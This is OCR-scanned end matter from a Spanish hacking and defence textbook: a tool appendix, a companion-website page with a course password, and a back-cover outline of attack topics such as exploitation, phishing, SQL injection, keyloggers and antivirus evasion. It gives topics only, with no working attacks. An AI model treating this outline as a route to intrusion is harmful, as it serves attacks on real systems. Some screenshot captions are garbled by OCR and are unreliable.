Visual C++ Compilador. www.microsoft.com
VolPong Sniffer de trafico www.enderunix.org/voipong
VolP.
WinHex Editor hexadecimal.  www.winhex.com
Wireshark Sniffer de red para  www.wireshark.org
sistemas Windows.
xProbe2 Permite identificar  http://xprobe.sourceforge.net/
la version del
sistema operativo
de un equipo.
ZAP Herramienta para https://www.owasp.org/index.php/OWASP _Zed

comprobar la
seguridad de las
aplicaciones web.

Attack_Proxy_Project




PAGINA WEB

Este libro dispone de su propia pagina web:

6n de Sistemas
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Material ordenado por cursos

[Fiyieses Adminesiracs s Operatnos.
(CFGS Admaistacida oo PTI—
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Material ordenado

[Administracion de Windows

= &

Adusnisteacidn ds Windows 2008 R2

ASPECTOS GENERALES
Adminstacién do Windaws 2003

[Administracion de GNU/Linux

) LN S

Administracin de GNULinx Curso gdctico de GULinux

www.adminso.es

A través, de esta pagina web los usuarios que se registren, podran acceder a
un curso virtual realizado con [206d12] para poder acceder al curso, el sistema le
pedira la contrasefia:
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CAIN

El curso, que complementa la obra, le permite ampliar sus conocimientos a
través de software referenciado a lo largo de la obra, conjuntos de transparencias,
herramientas de autoevaluacion para evaluar sus conocimientos, etc.
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Hackers

Aprende a atacar y a defenderte

2° EDICION ACTUALIZADA

La seguridad de los sistemas informaticos es un elemento crucial que cualquier administrador
debe asumir como uno de sus principales objetivos. La gran cantidad de servicios que se
ofrecen a través de las redes e Internet ha hecho que sea de vital importancia asegurar los
sistemas contra los diferentes ataques de los hackers. Ante este problema, el administrador
debe estar preparado para afrontar cualquier ataque que pueda comprometer la seguridad del
sistema. Para hallar una solucién a este conflicto, el administrador debe ponerse en la piel de
un hacker y analizar o explotar la seguridad del sistema.

Pero, jes un administrador un hacker? Ambos poseen amplios conocimientos informaticos y
analizan la seguridad de las empresas en busca de fallos. Pero la diferencia radica en su ética
y profesionalidad.

Mientras un hacker “examina” un sistema informatico con dudosos fines (econémicos,
venganza, diversion,...) un administrador lo hace para proteger el sistema contra posibles
ataques de hackers.

La segunda edicién del libro se presenta como una edicion actualizada donde aprendera
las técnicas que se utilizan para buscar y comprobar los fallos de seguridad de un sistema
informatico.

Temas incluidos:
¢ Capitulo 1. Conceptos basicos, tipos de ataques y plataformas de entrenamiento.

¢ Capitulo 2. Buscar un vector de ataque. Localizacion y andlisis de un objetivo, trazado
de rutas y escaneo de puertos.

Capitulo 3. Hacking de sistemas. Escaneo de vulnerabilidades, explotacion de las
vulnerabilidades de un sistema, ataques contra contrasenas y contramedidas.

Capitulo 4. Hacking de redes. Man in the middle, Sniffers, Phising, rotura de redes
inalambricas, navegacion anénima y contramedidas.

Capitulo 5. Hacking de servidores web. Busqueda de vulnerabilidades, ataques de
fuerza bruta, XSS, RFI, LFI, inyecciéon SQL, CSRF y contramedidas.

Capitulo 6. Hacking de aplicaciones. Crack, Hotfuzz, keyloggers, virus, troyanos,
rootkits y ocultacién para los antivirus.

CWWWy, i ) Ellibro cuenta con la web http: www.adminso.es donde, una vez

registrado, tendra acceso a la web del autor.
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